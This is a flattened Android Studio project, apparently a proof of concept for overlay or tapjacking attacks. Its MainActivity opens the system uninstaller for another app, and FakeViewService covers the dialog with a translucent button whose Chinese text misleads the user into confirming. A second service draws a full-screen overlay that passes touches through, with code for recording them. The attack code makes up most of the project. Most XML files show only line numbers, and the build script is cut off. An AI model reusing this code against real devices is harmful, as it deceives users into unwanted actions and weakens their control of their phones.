├── .gitignore ├── .idea ├── .gitignore ├── .name ├── appInsightsSettings.xml ├── compiler.xml ├── deploymentTargetDropDown.xml ├── gradle.xml ├── migrations.xml └── misc.xml ├── app ├── .gitignore ├── build.gradle ├── proguard-rules.pro └── src │ ├── androidTest │ └── java │ │ └── com │ │ └── test │ │ └── attack │ │ └── ExampleInstrumentedTest.java │ ├── main │ ├── AndroidManifest.xml │ ├── java │ │ └── com │ │ │ └── test │ │ │ └── attack │ │ │ ├── CustomOverlayView.java │ │ │ ├── FakeOverlayView.java │ │ │ ├── FakeViewService.java │ │ │ ├── MainActivity.java │ │ │ └── OverlayService.java │ └── res │ │ ├── drawable │ │ ├── box.xml │ │ ├── box1.xml │ │ ├── box2.xml │ │ ├── box3.xml │ │ ├── box4.xml │ │ ├── box5.xml │ │ ├── ic_launcher_background.xml │ │ └── ic_launcher_foreground.xml │ │ ├── layout │ │ ├── activity_main.xml │ │ ├── activity_overlay.xml │ │ └── overlay_layout.xml │ │ ├── mipmap-anydpi-v26 │ │ ├── ic_launcher.xml │ │ └── ic_launcher_round.xml │ │ ├── mipmap-hdpi │ │ ├── ic_launcher.webp │ │ └── ic_launcher_round.webp │ │ ├── mipmap-mdpi │ │ ├── ic_launcher.webp │ │ └── ic_launcher_round.webp │ │ ├── mipmap-xhdpi │ │ ├── ic_launcher.webp │ │ └── ic_launcher_round.webp │ │ ├── mipmap-xxhdpi │ │ ├── ic_launcher.webp │ │ └── ic_launcher_round.webp │ │ ├── mipmap-xxxhdpi │ │ ├── ic_launcher.webp │ │ └── ic_launcher_round.webp │ │ ├── values-night │ │ └── themes.xml │ │ ├── values │ │ ├── colors.xml │ │ ├── strings.xml │ │ └── themes.xml │ │ └── xml │ │ ├── backup_rules.xml │ │ └── data_extraction_rules.xml │ └── test │ └── java │ └── com │ └── test │ └── attack │ └── ExampleUnitTest.java ├── build.gradle ├── gradle.properties ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat └── settings.gradle /.gitignore: -------------------------------------------------------------------------------- 1 | *.iml 2 | .gradle 3 | /local.properties 4 | /.idea/caches 5 | /.idea/libraries 6 | /.idea/modules.xml 7 | /.idea/workspace.xml 8 | /.idea/navEditor.xml 9 | /.idea/assetWizardSettings.xml 10 | .DS_Store 11 | /build 12 | /captures 13 | .externalNativeBuild 14 | .cxx 15 | local.properties 16 | -------------------------------------------------------------------------------- /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | -------------------------------------------------------------------------------- /.idea/.name: -------------------------------------------------------------------------------- 1 | Attack -------------------------------------------------------------------------------- /.idea/appInsightsSettings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 25 | 26 | -------------------------------------------------------------------------------- /.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/deploymentTargetDropDown.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /.idea/gradle.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 20 | 21 | -------------------------------------------------------------------------------- /.idea/migrations.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 9 | 10 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 9 | -------------------------------------------------------------------------------- /app/.gitignore: -------------------------------------------------------------------------------- 1 | /build -------------------------------------------------------------------------------- /app/build.gradle: -------------------------------------------------------------------------------- 1 | plugins { 2 | id 'com.android.application' 3 | } 4 | 5 | android { 6 | namespace 'com.test.attack' 7 | compileSdk 34 8 | 9 | defaultConfig { 10 | applicationId "com.test.attack" 11 | minSdk 24 12 | targetSdk 34 13 | versionCode 1 14 | versionName "1.0" 15 | 16 | testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" 17 | } 18 | 19 | buildTypes { 20 | release { 21 | minifyEnabled false 22 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' 23 | } 24 | } 25 | compileOptions { 26 | sourceCompatibility JavaVersion.VERSION_1_8 27 | targetCompatibility JavaVersion.VERSION_1_8 28 | } 29 | } 30 | 31 | dependencies { 32 | 33 | implementation 'androidx.appcompat:appcompat:1.6.1' 34 | implementation 'com.google.android.material:material:1.11.0' 35 | implementation 'androidx.constraintlayout:constraintlayout:2.1.4' 36 | testImplementation 'junit:junit:4.13.2' 37 | androidTestImplementation 'androidx.test.ext:junit:1.1.5' 38 | androidTestImplementation 'androidx.test.espresso:espresso-core:3.5.1' 39 | } -------------------------------------------------------------------------------- /app/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # You can control the set of applied configuration files using the 3 | # proguardFiles setting in build.gradle. 4 | # 5 | # For more details, see 6 | # http://developer.android.com/guide/developing/tools/proguard.html 7 | 8 | # If your project uses WebView with JS, uncomment the following 9 | # and specify the fully qualified class name to the JavaScript interface 10 | # class: 11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 12 | # public *; 13 | #} 14 | 15 | # Uncomment this to preserve the line number information for 16 | # debugging stack traces. 17 | #-keepattributes SourceFile,LineNumberTable 18 | 19 | # If you keep the line number information, uncomment this to 20 | # hide the original source file name. 21 | #-renamesourcefileattribute SourceFile -------------------------------------------------------------------------------- /app/src/androidTest/java/com/test/attack/ExampleInstrumentedTest.java: -------------------------------------------------------------------------------- 1 | package com.test.attack; 2 | 3 | import android.content.Context; 4 | 5 | import androidx.test.platform.app.InstrumentationRegistry; 6 | import androidx.test.ext.junit.runners.AndroidJUnit4; 7 | 8 | import org.junit.Test; 9 | import org.junit.runner.RunWith; 10 | 11 | import static org.junit.Assert.*; 12 | 13 | /** 14 | * Instrumented test, which will execute on an Android device. 15 | * 16 | * @see Testing documentation 17 | */ 18 | @RunWith(AndroidJUnit4.class) 19 | public class ExampleInstrumentedTest { 20 | @Test 21 | public void useAppContext() { 22 | // Context of the app under test. 23 | Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); 24 | assertEquals("com.test.attack", appContext.getPackageName()); 25 | } 26 | } -------------------------------------------------------------------------------- /app/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 7 | 8 | 9 | 19 | 23 | 27 | 28 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | -------------------------------------------------------------------------------- /app/src/main/java/com/test/attack/CustomOverlayView.java: -------------------------------------------------------------------------------- 1 | package com.test.attack; 2 | 3 | import android.content.Context; 4 | import android.graphics.Point; 5 | import android.graphics.Rect; 6 | import android.graphics.drawable.Drawable; 7 | import android.util.AttributeSet; 8 | import android.view.LayoutInflater; 9 | import android.view.MotionEvent; 10 | import android.view.View; 11 | import android.widget.FrameLayout; 12 | 13 | import java.util.ArrayList; 14 | 15 | public class CustomOverlayView extends FrameLayout { 16 | private ArrayList mMarkers = new ArrayList();; 17 | private Drawable mTrackingMarker; 18 | private Point mTrackingPoint; 19 | private int clickCount = 0; 20 | 21 | public CustomOverlayView(Context context) { 22 | super(context); 23 | init(context); 24 | } 25 | 26 | public CustomOverlayView(Context context, AttributeSet attrs) { 27 | super(context, attrs); 28 | init(context); 29 | } 30 | 31 | public CustomOverlayView(Context context, AttributeSet attrs, int defStyleAttr) { 32 | super(context, attrs, defStyleAttr); 33 | init(context); 34 | } 35 | 36 | private void init(Context context) { 37 | // 加载自定义布局 38 | LayoutInflater.from(context).inflate(R.layout.activity_overlay, this, true); 39 | } 40 | 41 | 42 | @Override 43 | public boolean dispatchTouchEvent(MotionEvent event) { 44 | // 记录点击事件 45 | // handleEvent(0, this, event); 46 | // 将事件传递到下层 47 | 48 | return false; 49 | } 50 | 51 | 52 | private void handleEvent(int optionId, View v, MotionEvent event) { 53 | int x = (int) event.getX(); 54 | int y = (int) event.getY(); 55 | switch (event.getAction()) { 56 | case MotionEvent.ACTION_DOWN: 57 | Drawable current = markerAt(x, y); 58 | if (current == null) { 59 | 60 | // mTrackingMarker = addBox(v, x, y); 61 | mTrackingPoint = new Point(x, y); 62 | mTrackingMarker = addFlag(v, x, y); 63 | 64 | } else { 65 | //移除已经存在的标记 66 | // removeMarker(v, current); 67 | } 68 | break; 69 | case MotionEvent.ACTION_MOVE: 70 | //更新当前的标记让其移动起来 71 | if (mTrackingMarker != null) { 72 | resizeBox(v, mTrackingMarker, mTrackingPoint, x, y); 73 | } 74 | break; 75 | case MotionEvent.ACTION_UP: 76 | case MotionEvent.ACTION_CANCEL: 77 | //手势终止清除状态 78 | mTrackingMarker = null; 79 | mTrackingPoint = null; 80 | break; 81 | } 82 | } 83 | 84 | /* 85 | * 在给定坐标添加一个新的大小可变的盒子 86 | */ 87 | private Drawable addBox(View v, int x, int y) { 88 | Drawable box = getResources().getDrawable(R.drawable.ic_launcher_background, null); 89 | //在触摸点创建一个尺寸为0的盒子 90 | Rect bounds = new Rect(x, y, x+10, y+10); 91 | box.setBounds(bounds); 92 | //添加到浮层 93 | mMarkers.add(box); 94 | v.getOverlay().add(box); 95 | return box; 96 | } 97 | 98 | /* 99 | * 基于给定坐标点改变盒子的大小 100 | */ 101 | private void resizeBox(View v, Drawable target, Point trackingPoint, int x, int y) { 102 | Rect bounds = new Rect(target.getBounds()); 103 | // 根据触摸点与起始点的位置更新边界 104 | if (x < trackingPoint.x) { 105 | bounds.left = x; 106 | } else { 107 | bounds.right = x; 108 | } 109 | if (y < trackingPoint.y) { 110 | bounds.top = y; 111 | } else { 112 | bounds.bottom = y; 113 | } 114 | //更新边界并重绘 115 | target.setBounds(bounds); 116 | v.invalidate(); 117 | } 118 | 119 | /* 120 | * 在给定坐标添加一个新的指示标记 121 | */ 122 | private Drawable addFlag(View v, int x, int y) { 123 | //创建一个新的指示标记绘画 124 | int ID = 0; 125 | 126 | int[] drawableIds = { 127 | R.drawable.box, 128 | R.drawable.box1, 129 | R.drawable.box2, 130 | R.drawable.box3, 131 | R.drawable.box4, 132 | R.drawable.box5 133 | }; 134 | 135 | ID = drawableIds[clickCount % drawableIds.length]; 136 | 137 | Drawable marker = getResources().getDrawable(ID, null); 138 | 139 | //创建一个匹配图像的边界 140 | int sideLength = 50; 141 | 142 | // 创建一个正方形的边界 143 | Rect bounds = new Rect(0, 0, sideLength / 2, sideLength / 2); 144 | // Rect bounds = new Rect(0, 0, marker.getIntrinsicWidth(), marker.getIntrinsicHeight()); 145 | //以标识底部中心点作为定位点 146 | bounds.offset(x - (bounds.width()), y - bounds.height()); 147 | marker.setBounds(bounds); 148 | //添加到浮层 149 | mMarkers.add(marker); 150 | v.getOverlay().add(marker); 151 | clickCount++; 152 | 153 | return marker; 154 | } 155 | 156 | /* 157 | * 更新一个标识标记的位置 158 | */ 159 | private void offsetFlag(View v, Drawable marker, int x, int y) { 160 | Rect bounds = new Rect(marker.getBounds()); 161 | //移动边界到新的坐标点 162 | bounds.offset(x - bounds.left - (bounds.width() / 2), y - bounds.top - bounds.height()); 163 | //跟新并重绘 164 | marker.setBounds(bounds); 165 | v.invalidate(); 166 | } 167 | 168 | /* 169 | * 移除选择的标记 170 | */ 171 | private void removeMarker(View v, Drawable marker) { 172 | mMarkers.remove(marker); 173 | v.getOverlay().remove(marker); 174 | } 175 | 176 | /* 177 | * 在给定坐标点找到第一个标记 178 | */ 179 | private Drawable markerAt(int x, int y) { 180 | //返回给定点的第一个标记 181 | for (Drawable marker : mMarkers) { 182 | if (marker.getBounds().contains(x, y)) { 183 | return marker; 184 | } 185 | } 186 | 187 | return null; 188 | } 189 | } -------------------------------------------------------------------------------- /app/src/main/java/com/test/attack/FakeOverlayView.java: -------------------------------------------------------------------------------- 1 | package com.test.attack; 2 | 3 | import android.content.Context; 4 | import android.util.AttributeSet; 5 | import android.view.MotionEvent; 6 | import android.view.View; 7 | 8 | public class FakeOverlayView extends View { 9 | 10 | public FakeOverlayView(Context context) { 11 | super(context); 12 | } 13 | 14 | public FakeOverlayView(Context context, AttributeSet attrs) { 15 | super(context, attrs); 16 | } 17 | 18 | public FakeOverlayView(Context context, AttributeSet attrs, int defStyleAttr) { 19 | super(context, attrs, defStyleAttr); 20 | } 21 | 22 | @Override 23 | public boolean dispatchTouchEvent(MotionEvent event) { 24 | // 记录点击事件 25 | handleEvent(event); 26 | // 将事件传递到下层 27 | return false; 28 | } 29 | 30 | private void handleEvent(MotionEvent event) { 31 | // 在这里处理点击事件 32 | int x = (int) event.getX(); 33 | int y = (int) event.getY(); 34 | switch (event.getAction()) { 35 | case MotionEvent.ACTION_DOWN: 36 | // 处理按下事件 37 | break; 38 | case MotionEvent.ACTION_MOVE: 39 | // 处理移动事件 40 | break; 41 | case MotionEvent.ACTION_UP: 42 | // 处理抬起事件 43 | break; 44 | } 45 | } 46 | } -------------------------------------------------------------------------------- /app/src/main/java/com/test/attack/FakeViewService.java: -------------------------------------------------------------------------------- 1 | package com.test.attack; 2 | 3 | import android.app.Service; 4 | import android.content.Intent; 5 | import android.graphics.Color; 6 | import android.graphics.PixelFormat; 7 | import android.os.IBinder; 8 | import android.provider.Settings; 9 | import android.view.Gravity; 10 | import android.view.MotionEvent; 11 | import android.view.View; 12 | import android.view.WindowManager; 13 | import android.os.Build; 14 | import android.widget.Button; 15 | 16 | public class FakeViewService extends Service { 17 | private WindowManager windowManager; 18 | 19 | // private View overlayView; 20 | private FakeOverlayView overlayView; 21 | private WindowManager.LayoutParams layoutParams; 22 | Button button; 23 | 24 | @Override 25 | public IBinder onBind(Intent intent) { 26 | return null; 27 | } 28 | 29 | @Override 30 | public void onCreate() { 31 | super.onCreate(); 32 | windowManager = (WindowManager) getSystemService(WINDOW_SERVICE); 33 | overlayView = new FakeOverlayView(this); 34 | 35 | 36 | layoutParams = new WindowManager.LayoutParams(); 37 | if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { 38 | layoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY; 39 | } else { 40 | layoutParams.type = WindowManager.LayoutParams.TYPE_PHONE; 41 | } 42 | layoutParams.format = PixelFormat.TRANSLUCENT; 43 | layoutParams.gravity = Gravity.LEFT | Gravity.TOP; 44 | layoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL | 45 | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE | WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH; 46 | layoutParams.width = 920; 47 | layoutParams.height = 300; 48 | layoutParams.x = 80; 49 | layoutParams.y = 850; 50 | 51 | windowManager.addView(overlayView, layoutParams); 52 | } 53 | 54 | @Override 55 | public void onDestroy() { 56 | super.onDestroy(); 57 | if (overlayView != null) windowManager.removeView(overlayView); 58 | } 59 | 60 | @Override 61 | public int onStartCommand(Intent intent, int flags, int startId) { 62 | showFloatingWindow(); 63 | return super.onStartCommand(intent, flags, startId); 64 | } 65 | 66 | public class FloatingOnTouchListener implements View.OnTouchListener { 67 | private int x; 68 | private int y; 69 | 70 | @Override 71 | public boolean onTouch(View view, MotionEvent event) { 72 | switch (event.getAction()) { 73 | case MotionEvent.ACTION_OUTSIDE: 74 | windowManager.removeView(button); 75 | default: 76 | break; 77 | } 78 | return false; 79 | } 80 | } 81 | 82 | 83 | private void showFloatingWindow() { 84 | if (Settings.canDrawOverlays(this)) { 85 | button = new Button(getApplicationContext()); 86 | button.setText("点击OK进入App，点击CANCEL退出App"); // 欺骗内容 87 | button.setBackgroundColor(Color.WHITE); 88 | windowManager.addView(button, layoutParams); 89 | button.setOnTouchListener(new FloatingOnTouchListener()); 90 | } 91 | } 92 | } -------------------------------------------------------------------------------- /app/src/main/java/com/test/attack/MainActivity.java: -------------------------------------------------------------------------------- 1 | package com.test.attack; 2 | 3 | import androidx.annotation.Nullable; 4 | import androidx.appcompat.app.AppCompatActivity; 5 | 6 | import android.content.ComponentName; 7 | import android.content.Intent; 8 | import android.net.Uri; 9 | import android.os.Build; 10 | import android.os.Bundle; 11 | import android.provider.Settings; 12 | import android.widget.Toast; 13 | 14 | public class MainActivity extends AppCompatActivity { 15 | private static final int REQUEST_CODE_OVERLAY_PERMISSION = 1001; 16 | @Override 17 | protected void onCreate(Bundle savedInstanceState) { 18 | super.onCreate(savedInstanceState); 19 | setContentView(R.layout.activity_main); 20 | if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { 21 | if (!Settings.canDrawOverlays(this)) { 22 | Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, 23 | Uri.parse("package:" + getPackageName())); 24 | startActivityForResult(intent, REQUEST_CODE_OVERLAY_PERMISSION); 25 | } 26 | } 27 | 28 | 29 | Intent intent1 = new Intent(); 30 | intent1.setComponent(new ComponentName("com.android.packageinstaller", 31 | "com.android.packageinstaller.UninstallerActivity")); 32 | intent1.setData(Uri.parse("package:com.example.obftest")); // put arbitrary unstallable package name here 33 | startActivity(intent1); 34 | 35 | // Intent intent = new Intent(this, OverlayService.class); 36 | Intent intent = new Intent(this, FakeViewService.class); 37 | startService(intent); 38 | // startActivity(new Intent(MainActivity.this, OverlayActivity.class)); 39 | } 40 | 41 | @Override 42 | protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { 43 | super.onActivityResult(requestCode, resultCode, data); 44 | if (requestCode == REQUEST_CODE_OVERLAY_PERMISSION) { 45 | if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { 46 | if (Settings.canDrawOverlays(this)) { 47 | // 权限已授予，启动悬浮窗服务 48 | // Intent intent = new Intent(this, OverlayService.class); 49 | Intent intent = new Intent(this, FakeViewService.class); 50 | startService(intent); 51 | } else { 52 | // 权限未授予，处理相应逻辑 53 | Toast.makeText(this, "需要悬浮窗权限", Toast.LENGTH_SHORT).show(); 54 | } 55 | } 56 | } 57 | } 58 | } -------------------------------------------------------------------------------- /app/src/main/java/com/test/attack/OverlayService.java: -------------------------------------------------------------------------------- 1 | package com.test.attack; 2 | 3 | import android.app.Service; 4 | import android.content.Intent; 5 | import android.graphics.PixelFormat; 6 | import android.graphics.Point; 7 | import android.graphics.Rect; 8 | import android.graphics.drawable.Drawable; 9 | import android.os.IBinder; 10 | import android.util.Log; 11 | import android.view.Gravity; 12 | import android.view.LayoutInflater; 13 | import android.view.MotionEvent; 14 | import android.view.View; 15 | import android.view.WindowManager; 16 | 17 | import java.util.ArrayList; 18 | 19 | public class OverlayService extends Service { 20 | private WindowManager windowManager; 21 | 22 | // private View overlayView; 23 | private CustomOverlayView overlayView; 24 | 25 | @Override 26 | public IBinder onBind(Intent intent) { 27 | return null; 28 | } 29 | 30 | @Override 31 | public void onCreate() { 32 | super.onCreate(); 33 | windowManager = (WindowManager) getSystemService(WINDOW_SERVICE); 34 | 35 | // overlayView = LayoutInflater.from(this).inflate(R.layout.activity_overlay, null); 36 | overlayView = new CustomOverlayView(this); 37 | 38 | WindowManager.LayoutParams params = new WindowManager.LayoutParams( 39 | WindowManager.LayoutParams.WRAP_CONTENT, 40 | WindowManager.LayoutParams.WRAP_CONTENT, 41 | WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, 42 | // if FLAG_NOT_TOUCH_MODAL is set, the event will be consumed by the window, and will not be passed to the activity 43 | // if FLAG_NOT_TOUCHABLE is set, the window will not receive touch events 44 | // WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL | 45 | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE| 46 | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE | WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH, 47 | PixelFormat.TRANSLUCENT); 48 | 49 | params.width = WindowManager.LayoutParams.MATCH_PARENT; 50 | params.height = WindowManager.LayoutParams.MATCH_PARENT; 51 | params.gravity = Gravity.TOP | Gravity.LEFT; 52 | params.x = 0; 53 | params.y = 0; 54 | 55 | windowManager.addView(overlayView, params); 56 | } 57 | 58 | @Override 59 | public void onDestroy() { 60 | super.onDestroy(); 61 | if (overlayView != null) windowManager.removeView(overlayView); 62 | } 63 | 64 | } -------------------------------------------------------------------------------- /app/src/main/res/drawable/box.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 9 | 12 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/box1.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 9 | 12 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/box2.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 9 | 12 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/box3.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 9 | 12 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/box4.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 9 | 12 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/box5.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 9 | 12 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_launcher_background.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 10 | 15 | 20 | 25 | 30 | 35 | 40 | 45 | 50 | 55 | 60 | 65 | 70 | 75 | 80 | 85 | 90 | 95 | 100 | 105 | 110 | 115 | 120 | 125 | 130 | 135 | 140 | 145 | 150 | 155 | 160 | 165 | 170 | 171 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_launcher_foreground.xml: -------------------------------------------------------------------------------- 1 | 7 | 8 | 9 | 15 | 18 | 21 | 22 | 23 | 24 | 30 | -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 2 | 8 | 9 | -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_overlay.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | 15 | 16 | 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /app/src/main/res/layout/overlay_layout.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | 9 | 15 | -------------------------------------------------------------------------------- /app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /app/src/main/res/mipmap-hdpi/ic_launcher.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LLeavesG/Android-Overlay-Hijack/c71a714d832534e0307d0eae236aac9225b8cc4e/app/src/main/res/mipmap-hdpi/ic_launcher.webp -------------------------------------------------------------------------------- /app/src/main/res/mipmap-hdpi/ic_launcher_round.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LLeavesG/Android-Overlay-Hijack/c71a714d832534e0307d0eae236aac9225b8cc4e/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp -------------------------------------------------------------------------------- /app/src/main/res/mipmap-mdpi/ic_launcher.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LLeavesG/Android-Overlay-Hijack/c71a714d832534e0307d0eae236aac9225b8cc4e/app/src/main/res/mipmap-mdpi/ic_launcher.webp -------------------------------------------------------------------------------- /app/src/main/res/mipmap-mdpi/ic_launcher_round.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LLeavesG/Android-Overlay-Hijack/c71a714d832534e0307d0eae236aac9225b8cc4e/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp -------------------------------------------------------------------------------- /app/src/main/res/mipmap-xhdpi/ic_launcher.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LLeavesG/Android-Overlay-Hijack/c71a714d832534e0307d0eae236aac9225b8cc4e/app/src/main/res/mipmap-xhdpi/ic_launcher.webp -------------------------------------------------------------------------------- /app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LLeavesG/Android-Overlay-Hijack/c71a714d832534e0307d0eae236aac9225b8cc4e/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp -------------------------------------------------------------------------------- /app/src/main/res/mipmap-xxhdpi/ic_launcher.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LLeavesG/Android-Overlay-Hijack/c71a714d832534e0307d0eae236aac9225b8cc4e/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp -------------------------------------------------------------------------------- /app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LLeavesG/Android-Overlay-Hijack/c71a714d832534e0307d0eae236aac9225b8cc4e/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp -------------------------------------------------------------------------------- /app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LLeavesG/Android-Overlay-Hijack/c71a714d832534e0307d0eae236aac9225b8cc4e/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp -------------------------------------------------------------------------------- /app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LLeavesG/Android-Overlay-Hijack/c71a714d832534e0307d0eae236aac9225b8cc4e/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp -------------------------------------------------------------------------------- /app/src/main/res/values-night/themes.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 16 | -------------------------------------------------------------------------------- /app/src/main/res/values/colors.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | #FFBB86FC 4 | #FF6200EE 5 | #FF3700B3 6 | #FF03DAC5 7 | #FF018786 8 | #FF000000 9 | #FFFFFFFF 10 | -------------------------------------------------------------------------------- /app/src/main/res/values/strings.xml: -------------------------------------------------------------------------------- 1 | 2 | Attack 3 | -------------------------------------------------------------------------------- /app/src/main/res/values/themes.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 16 | -------------------------------------------------------------------------------- /app/src/main/res/xml/backup_rules.xml: -------------------------------------------------------------------------------- 1 | 8 | 9 | 13 | -------------------------------------------------------------------------------- /app/src/main/res/xml/data_extraction_rules.xml: -------------------------------------------------------------------------------- 1 | 6 | 7 | 8 | 12 | 13 | 19 | -------------------------------------------------------------------------------- /app/src/test/java/com/test/attack/ExampleUnitTest.java: -------------------------------------------------------------------------------- 1 | package com.test.attack; 2 | 3 | import org.junit.Test; 4 | 5 | import static org.junit.Assert.*; 6 | 7 | /** 8 | * Example local unit test, which will execute on the development machine (host). 9 | * 10 | * @see Testing documentation 11 | */ 12 | public class ExampleUnitTest { 13 | @Test 14 | public void addition_isCorrect() { 15 | assertEquals(4, 2 + 2); 16 | } 17 | } -------------------------------------------------------------------------------- /build.gradle: -------------------------------------------------------------------------------- 1 | // Top-level build file where you can add configuration options common to all sub-projects/modules. 2 | plugins { 3 | id 'com.android.application' version '8.2.1' apply false 4 | } -------------------------------------------------------------------------------- /gradle.properties: -------------------------------------------------------------------------------- 1 | # Project-wide Gradle settings. 2 | # IDE (e.g. Android Studio) users: 3 | # Gradle settings configured through the IDE *will override* 4 | # any settings specified in this file. 5 | # For more details on how to configure your build environment visit 6 | # http://www.gradle.org/docs/current/userguide/build_environment.html 7 | # Specifies the JVM arguments used for the daemon process. 8 | # The setting is particularly useful for tweaking memory settings. 9 | org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8 10 | # When configured, Gradle will run in incubating parallel mode. 11 | # This option should only be used with decoupled projects. More details, visit 12 | # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects 13 | # org.gradle.parallel=true 14 | # AndroidX package structure to make it clearer which packages are bundled with the 15 | # Android operating system, and which are packaged with your app's APK 16 | # https://developer.android.com/topic/libraries/support-library/androidx-rn 17 | android.useAndroidX=true 18 | # Enables namespacing of each library's R class so that its R class includes only the 19 | # resources declared in the library itself and none from the library's dependencies, 20 | # thereby reducing the size of the R class for that library 21 | android.nonTransitiveRClass=true -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LLeavesG/Android-Overlay-Hijack/c71a714d832534e0307d0eae236aac9225b8cc4e/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | #Sat Aug 24 22:42:55 CST 2024 2 | distributionBase=GRADLE_USER_HOME 3 | distributionPath=wrapper/dists 4 | distributionUrl=https\://services.gradle.org/distributions/gradle-8.2-bin.zip 5 | zipStoreBase=GRADLE_USER_HOME 6 | zipStorePath=wrapper/dists 7 | -------------------------------------------------------------------------------- /gradlew: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | 3 | # 4 | # Copyright 2015 the original author or authors. 5 | # 6 | # Licensed under the Apache License, Version 2.0 (the "License"); 7 | # you may not use this file except in compliance with the License. 8 | # You may obtain a copy of the License at 9 | # 10 | # https://www.apache.org/licenses/LICENSE-2.0 11 | # 12 | # Unless required by applicable law or agreed to in writing, software 13 | # distributed under the License is distributed on an "AS IS" BASIS, 14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 15 | # See the License for the specific language governing permissions and 16 | # limitations under the License. 17 | # 18 | 19 | ############################################################################## 20 | ## 21 | ## Gradle start up script for UN*X 22 | ## 23 | ############################################################################## 24 | 25 | # Attempt to set APP_HOME 26 | # Resolve links: $0 may be a link 27 | PRG="$0" 28 | # Need this for relative symlinks. 29 | while [ 